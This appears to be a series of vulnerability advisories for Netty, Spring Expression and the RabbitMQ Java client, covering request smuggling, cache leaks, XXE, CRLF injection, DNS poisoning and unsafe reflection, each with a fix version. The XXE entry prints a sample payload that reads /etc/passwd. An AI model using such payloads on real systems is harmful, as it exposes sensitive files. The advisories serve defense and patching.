Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpObjectDecoder component. An attacker can manipulate downstream request interpretation by sending specially crafted HTTP/1.0 requests containing both Transfer-Encoding: chunked and Content-Length headers. This can result in unauthorized access, cache poisoning, or bypassing security controls by causing downstream proxies or handlers to misinterpret message boundaries.

Note:

This is only exploitable if the deployment is behind a reverse proxy or load balancer that prioritizes the Content-Length header, the attacker can send HTTP/1.0 requests, and there is no additional HTTP/1.0 stripping layer between the attacker and the application.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

• GitHub Advisory
• GitHub Commit

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Use of Cache Containing Sensitive Information due to the setVaryHeader method in codec-http/src/main/java/io/netty/handler/codec/http/cors/CorsHandler.java. An attacker can retrieve another user’s cached sensitive response by sending a cross-origin request that causes CorsHandler to overwrite an application’s existing Vary header, such as Vary: Authorization or Vary: Cookie, with Vary: Origin. Because shared caches and CDNs key the response on the reduced Vary set, user-specific responses can be cached and served to unauthorized clients. This can expose authenticated content or other sensitive data to other application users.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.137.Final, 4.2.17.Final or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection in the XmlDecoder file when XML input containing a DOCTYPE declaration is processed by an AsyncXMLInputFactory without security configuration, leaving DTD and entity handling enabled. An attacker can access sensitive files or internal network resources by delivering crafted XML data to the channel pipeline.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade io.netty:netty-codec-xml to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SimpleEvaluationContext file when the SpEL expression compiler is enabled through specific configuration settings. An attacker can cause unbounded class-loading growth and bypass enforced safety checks by submitting specially crafted expressions for evaluation.

Note: This is only exploitable if the application evaluates SpEL expressions using SimpleEvaluationContext and the SpEL expression compiler is active via the spring.expression.compiler.mode property or a SpelParserConfiguration set to IMMEDIATE or MIXED.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the evaluation of user-supplied SpEL expressions containing the power operator (^) with a BigDecimal or BigInteger operand and a large exponent value. An attacker can cause excessive CPU and memory consumption by submitting specially crafted expressions.

Note: This is only exploitable if the application accepts and evaluates untrusted SpEL expressions and a BigDecimal or BigInteger value is accessible within the evaluation context.

Remediation

Upgrade org.springframework:spring-expression to version 7.0.9 or higher.

References

• Spring Security Advisory

Overview

Affected versions of this package are vulnerable to Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection') via ProcedureDescription.computeReturnTypeAsJavaClass() in src/main/java/com/rabbitmq/tools/jsonrpc/ProcedureDescription.java. An attacker can trigger loading of attacker-chosen classes by sending a crafted JSON-RPC javaReturnType value in a system.describe response. Because the client resolves that field with Class.forName(javaReturnType) on data taken from an untrusted AMQP message, classes on the victim’s classpath are loaded with static initialization enabled. That can execute attacker-selected static initializers in the client JVM and disrupt or influence applications using the JSON-RPC tools.

Remediation

Upgrade com.rabbitmq:amqp-client to version 5.33.0 or higher.

References

• GitHub Commit
• GitHub Commit
• GitHub PR
• GitHub PR
• Maintainer's Advisory

Overview

Affected versions of this package are vulnerable to CRLF Injection via the encodeHeaders in the STOMP frame encoder, which fails to validate or escape newline characters in header values for certain commands. An attacker can inject arbitrary headers by including newline characters in user-controlled input, potentially bypassing authentication or modifying connection parameters.

Note: This is only exploitable if user-controlled input is placed into header values of a CONNECT or CONNECTED frame, the application does not perform its own newline sanitization, and the downstream STOMP broker processes the injected headers.

Remediation

Upgrade io.netty:netty-codec-stomp to version 4.1.136.Final, 4.2.16.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity in the DnsResolveContext.AuthoritativeNameServerList#add function. An attacker can inject malicious NS and A records into the DNS cache by controlling an authoritative name server for a subdomain and providing NS records that claim authority over a parent domain, leading to unauthorized redirection or interception of DNS queries for affected domains.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release

Overview

Affected versions of this package are vulnerable to Insufficient Verification of Data Authenticity due to missing validation of the origin of CNAME records in DNS responses within the DnsResolveContext function. An attacker can inject unauthorized DNS records by supplying malicious DNS responses, potentially leading to cache poisoning and redirection of network traffic.

Remediation

Upgrade io.netty:netty-resolver-dns to version 4.1.135.Final, 4.2.15.Final or higher.

References

• GitHub Advisory
• GitHub Commit
• GitHub Release
• GitHub Release